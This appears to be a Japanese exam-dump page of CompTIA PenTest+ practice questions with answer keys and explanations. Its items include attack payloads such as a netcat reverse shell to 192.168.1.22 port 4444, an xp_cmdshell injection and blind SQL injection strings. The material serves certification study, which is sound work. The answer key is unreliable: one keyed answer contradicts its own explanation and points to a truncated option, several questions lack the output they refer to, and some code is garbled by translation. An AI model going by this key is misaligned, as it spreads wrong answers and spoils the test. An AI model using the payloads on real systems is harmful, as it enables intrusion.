無料CompTIA PT0-002日本語学習ガイド試験問題と解答
PT0-002日本語試験問題集、PT0-002日本語練習テスト問題
質問 # 87
クラウド環境で侵入テストを行う際、侵入テスト担当者が最初に考慮する必要があるのは次のうちどれですか?
- A. 特定のクラウド サービスがアプリケーションによって使用されているかどうか
- B. クラウド サービスが実行されている地理的な場所
- C. クラウド サービス プロバイダーが侵入テスターによる環境のテストを許可しているかどうか
- D. クラウドサービスの本拠地である国に法規制があるかどうか
正解:C
解説:
Explanation
The first thing that a penetration tester should consider when engaging in a penetration test in a cloud environment is whether the cloud service provider allows the tester to test the environment, as this will determine whether the tester has permission or authorization to perform the test. Some cloud service providers have policies or terms of service that prohibit or restrict penetration testing on their platforms or require prior approval or notification before testing. The tester should review these policies and obtain written consent from the provider before conducting any testing activities.
質問 # 88
セキュリティ評価中に、侵入テスターは、1000 から 2000 までの開いているポートをチェックするための単純な TCP ポート スキャナーを実装することにしました。次の Python スクリプトのどれがこのタスクを実現しますか?
- A. fori in range(1000, 2001): s = socket(AF-INET, SOCK_DGRAM) conn = s.connect-ex((host_IP, i)) if (conn == 0): print(f'Port {i} OPEN') s.close ()
- B. close ()
- C. fori in range(1001, 2000): s = socket(AF_INET, SOCK_STREAM) conn = s.connect-ex((host_IP, i)) if (conn == 0): print (f'Port {i} OPEN') s.close ()
- D. fori in range (1000, 2000): s = socket(SOCK_STREAM, AF_INET) conn = s.connect-ex((host-IP, i)) if (conn == 0): print (f'Port {i} OPEN') s.close()
- E. fori in range(1000, 2001): s = socket(AF_INET, SOCK_STREAM)
conn = s.connect_ex((host_IP, i))
if (conn == 0):
print(fPort {i} OPEN')
正解:E
解説:
The correct Python script for implementing a simple TCP port scanner that checks for open ports from 1000 to 2000 is option A. This script uses a for loop to iterate through the range of ports, creates a socket object for each port using the socket.AF_INET address family (indicating IPv4) and socket.SOCK_STREAM socket type (indicating TCP), and attempts to connect to each port. If the connection attempt (connect_ex) returns 0, it indicates the port is open, and the script prints a message stating that the port is open before closing the socket. The other options contain syntax errors, use incorrect socket types, or have incorrect ranges that do not fully cover the specified ports.
質問 # 89
クライアントは、セキュリティ評価会社に、そのホット サイトに対して侵入テストを実行してもらいたいと考えています。このテストの目的は、事業継続の中断を防ぐ防御の有効性を判断することです。
このタイプの評価を開始する前に行うべき最も重要なアクションは次のうちどれですか?
- A. クライアントとのコミュニケーションとエスカレーション手順を確立します。
- B. フェールオーバー環境が、クライアントが所有していないリソースに依存しているかどうかを判断します。
- C. クライアントがホット サイトへのネットワーク アクセスを許可していることを確認します。
- D. クライアントが SOW に署名していることを確認します。
正解:D
解説:
Explanation
The statement of work (SOW) is a document that defines the scope, objectives, deliverables, and timeline of a penetration testing engagement. It is important to have the client sign the SOW before starting the assessment to avoid any legal or contractual issues.
質問 # 90
ペネトレーション テスターは、内部の Web サーバーに対してブルート フォース攻撃を行い、次の出力を生成するコマンドを実行しました。
しかし、ペネトレーションテスターが URL http://172.16.100.10:3000/profile を閲覧しようとすると、空白のページが表示されました。
次のうち、出力不足の理由として最も可能性が高いのはどれですか?
- A. この URI はサーバー エラーを返しました。
- B. ファイアウォールで HTTP ポートが開いていません。
- C. Web サーバーは HTTP ではなく HTTPS を使用しています。
- D. テスターは、コマンドの前に sudo を実行しませんでした。
正解:B
質問 # 91
メール サービス会社は、侵入テスターを雇って、SMTP サーバー上のすべてのユーザー アカウントの列挙を実施し、以前のスタッフ メンバーのアカウントがまだアクティブであるかどうかを特定しました。目標を達成するために使用すべきコマンドは次のうちどれですか?
- A. VRFYとTURN
- B. EXPN と TURN
- C. RCPT TO および VRFY
- D. VRFY と EXPN
正解:D
質問 # 92
侵入テストの最終レポートに含める最も重要な項目は次のうちどれですか?
(2つ選んでください。)
- A. 欠陥を発見した人の名前
- B. 問題を見つけるために使用したツール
- C. 調査結果の CVSS スコア
- D. クライアント承認フォーム
- E. 脆弱なデバイスのネットワーク上の場所
- F. 脆弱性識別子
正解:B、F
質問 # 93
ペネトレーションテスターは企業のネットワーク境界を評価しています。テスターが受け取った防御制御や対策に関する情報は限られており、テストに関する内部知識も限られています。偵察活動を計画する最初のステップは次のうちどれですか?
- A. ネットブロックの外部スキャンを開始します。
- B. 会社の WHOIS およびネットブロック レコードを確認します。
- C. 会社のネットブロックの ping スイープを実行します。
- D. DNS ルックアップを使用して、外部ホストを特定します。
正解:D
質問 # 94
侵入テスト中に CentOS コンピューターが悪用されました。最初の偵察中に、侵入テスターはポート 25 が内部の Sendmail サーバーで開いていることを発見しました。ステルス性を保つために、テスターは攻撃マシンから次のコマンドを実行しました。
次のうち、標的のネットワークにさらに侵入するために使用するのに最適なコマンドはどれですか?
- A. nc 127.0.0.1 5555
- B. ssh 10.10.1.2
- C. ssh 127.0.0.1 5555
- D. nc 10.10.1.2
正解:A
質問 # 95
侵入テスターは、組織のソース コード管理ソリューション内のアクセス キーを明らかにします。この問題に最もよく対処するのは次のうちどれですか? (2つ選んでください。)
- A. ソース コード管理システムにコードをコミットするための安全なソフトウェア開発ライフ サイクル プロセスの開発
- B. ソリューションを活用して、ソース コード管理システムで他の同様のインスタンスをスキャンする
- C. ソースコード管理システムでの多要素認証の構成
- D. 開発者がソース コード管理システムにパスワードを含めないようにするトリガーを作成する
- E. ソース コード管理システム内のすべての項目に対して秘密管理ソリューションを設定する
- F. ソースコード管理システムにロールベースのアクセス制御を実装する
正解:A、E
解説:
Explanation
Access keys are credentials that allow users to authenticate and authorize requests to a source code management (SCM) system, such as GitLab or AWS. Access keys should be kept secret and not exposed in plain text within the source code, as this can compromise the security and integrity of the SCM system and its data.
Some possible options for addressing the issue of access keys within an organization's SCM solution are:
Setting up a secret management solution for all items in the SCM system: This is a tool or service that securely stores, manages, and distributes secrets such as access keys, passwords, tokens, certificates, etc. A secret management solution can help prevent secrets from being exposed in plain text within the source code or configuration files3456.
Developing a secure software development life cycle (SDLC) process for committing code to the SCM system: This is a framework or methodology that defines how software is developed, tested, deployed, and maintained. A secure SDLC process can help ensure that best practices for security are followed throughout the software development process, such as code reviews, static analysis tools, vulnerability scanning tools, etc. A secure SDLC process can help detect and prevent access keys from being included in the source code before they are committed to the SCM system1
質問 # 96
ペネトレーション テスターは、次のペイロードを使用して脆弱性の悪用に成功しました。
IF (1=1) 遅延「0:0:15」を待つ
このタイプの攻撃を軽減するのに最も適したアクションは次のうちどれですか?
- A. パスワードの暗号化
- B. クエリのパラメータ化
- C. HTML のサニタイズ
- D. エンコード出力
正解:B
解説:
The payload used by the penetration tester is a type of blind SQL injection attack that delays the response of the database by 15 seconds if the condition is true. This can be used to extract information from the database by asking a series of true or false questions. To prevent this type of attack, the best practice is to use parameterized queries, which separate the user input from the SQL statement and prevent the injection of malicious code. Encrypting passwords, encoding output, and sanitizing HTML are also good security measures, but they do not directly address the SQL injection vulnerability. References:
The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 5: Attacks and Exploits, Section 5.2: Perform Network Attacks, Subsection: SQL Injection, p. 235-237 Blind SQL Injection | OWASP Foundation, Description and Examples sections Time-Based Blind SQL Injection Attacks, Introduction and Microsoft SQL Server sections
質問 # 97
侵入テスターは、ROE によって許可されている概念実証攻撃を検証するために、大規模なデータ セットの転送を開始しました。テスターは、クライアントのデータに範囲外の PII が含まれていることに気付き、すぐに転送を停止しました。ペネトレーションテスターの決定を説明する可能性が最も高いのは、次のうちどれですか?
- A. テスターは、データ セット内で以前の侵害の証拠を発見しました。
- B. テスターは、評価ワークフローの割り当てられた部分を完了しました。
- C. テスターは評価時間枠の終わりに達しました。
- D. テスターは転送を停止する状況認識を持っていました。
正解:D
解説:
Situational awareness is the ability to perceive and understand the environment and events around oneself, and to act accordingly. The penetration tester demonstrated situational awareness by stopping the transfer of PII, which was out of scope and could have violated the ROE or legal and ethical principles. The other options are not relevant to the situation or the decision of the penetration tester.
質問 # 98
ある会社は、侵入テスト用に次のネットワーク スコープを提供しました。
169.137.1.0/24
221.10.1.0/24
149.14.1.0/24
侵入テスターは、IP アドレス 149.14.1.24 でのリモート コマンド インジェクションを発見し、システムを悪用しました。その後、テスターは、この特定の IP アドレスがサード パーティに属していることを知りました。次の利害関係者のうち、この間違いの責任者は誰ですか?
- A. 侵入テストを依頼した会社
- B. 対象ホストの所有者
- C. 侵入テスト会社
- D. ペネトレーションテスター
- E. テストをサポートする下請け業者
正解:A
解説:
The company that requested the penetration test is responsible for providing the correct and accurate network scope for the test. The network scope defines the boundaries and limitations of the test, such as which IP addresses, domains, systems, or networks are in scope or out of scope. If the company provided an incorrect network scope that included an IP address that belongs to a third party, then it is responsible for this mistake. The penetration testing company, the target host's owner, the penetration tester, and the subcontractor supporting the test are not responsible for this mistake, as they relied on the network scope provided by the company that requested the penetration test.
質問 # 99
侵入テスターはシステムへのアクセスを取得し、ユーザー プロセスに移行できます。
上記の出力から、ペネトレーション テスターが行っているアクションは次のうちどれですか? (2つ選んでください。)
- A. ファイルからリモート システムへの出力のリダイレクト
- B. 侵害されたシステムに追加の IP アドレスを追加する
- C. リモート システムからのリバース シェルのセットアップ
- D. すべてのドメイン システムでの新しいプロセスの作成
- E. リモート システムへの共有のマッピング
- F. リモートシステムでファイルを実行
- G. 実行するスケジュールされたタスクの構築
正解:E、F
解説:
WMIC.exe is a built-in Microsoft program that allows command-line access to the Windows Management Instrumentation. Using this tool, administrators can query the operating system for detailed information about installed hardware and Windows settings, run management tasks, and even execute other programs or commands.
質問 # 100
ペネトレーション テスターが Web ベースのショッピング カタログを調べ、カタログ内の製品を表示しているときに次の URL を発見します。
http://company.com/catalog.asp?productid=22
ペネトレーション テスターは、ブラウザーの URL を次のように変更し、ページの更新時に遅延が発生していることに気付きます。
http://company.com/catalog.asp?productid=22;WAITFOR
遅れ
「00:00:05」
侵入テスターが次に試みる必要があるのは次のうちどれですか?
- A. http://company.com/catalog.asp?productid=22:EXEC
xp_cmdshell
'私は誰' - B. http://company.com/catalog.asp?productid=22;nc
192.168.1.22 4444 -e /ビン/バッシュ - C. http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 --
- D. http://company.com/catalog.asp?productid=22' または 1=1 --
正解:C
解説:
Explanation
This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.
質問 # 101
侵入テスターは、Nmap を使用してホスト 64.13.134.52 をスキャンし、次の結果を受け取りました。
出力に基づいて、次のサービスのうち、悪用される可能性が最も高いのはどれですか? (2つ選んでください。)
- A. Telnet
- B. SMTP
- C. SNMP
- D. DNS
- E. NTP
- F. HTTP
正解:D、F
質問 # 102
侵入テストを計画する際に、スコープ設定と組織要件が重要な理由を説明しているのはどれですか?
- A. プロジェクトのタイムラインとリソースの割り当てを検証する
- B. 境界と目的を定義する
- C. テスト中に潜在的なリスクと脅威を特定する
- D. すべての脆弱性が特定され、対処されるようにする
正解:B
解説:
Scoping defines the penetration test's boundaries and objectives, ensuring alignment with the client's needs and expectations. This is a key step in pre-engagement activities, as outlined in the CompTIA Pentest+ objectives.
質問 # 103
ある企業が、ネットワーク上で脆弱性スキャンを実施する侵入テスターを採用しました。テストは、既知の環境で行われることが確認されています。評価を実行する前にシステムを適切に識別するための最良のオプションは、次のうちどれですか?
- A. Web アプリケーション スキャン
- B. フルスキャン
- C. DNS レコード
- D. アセット インベントリ
正解:D
質問 # 104
侵入テスターは、次のスクリプトを作成します。
テスターが行っているのは次のうちどれですか?
- A. サービスの脆弱性の検索
- B. 指定されたポートでリッスンするリバース シェルの構築
- C. 特定の開いているポートのネットワークをスキャンしています
- D. 失われたバインド シェルを回復しようとしています
正解:C
解説:
-z zero-I/O mode [used for scanning]
-v verbose
example output of script:
10.0.0.1: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.0.1] 22 (ssh) open
(UNKNOWN) [10.0.0.1] 23 (telnet) : Connection timed out
https://unix.stackexchange.com/questions/589561/what-is-nc-z-used-for
質問 # 105
......
最新のPT0-002日本語実際の無料試験問題は更新された460問があります:https://www.goshiken.com/CompTIA/PT0-002J-mondaishu.html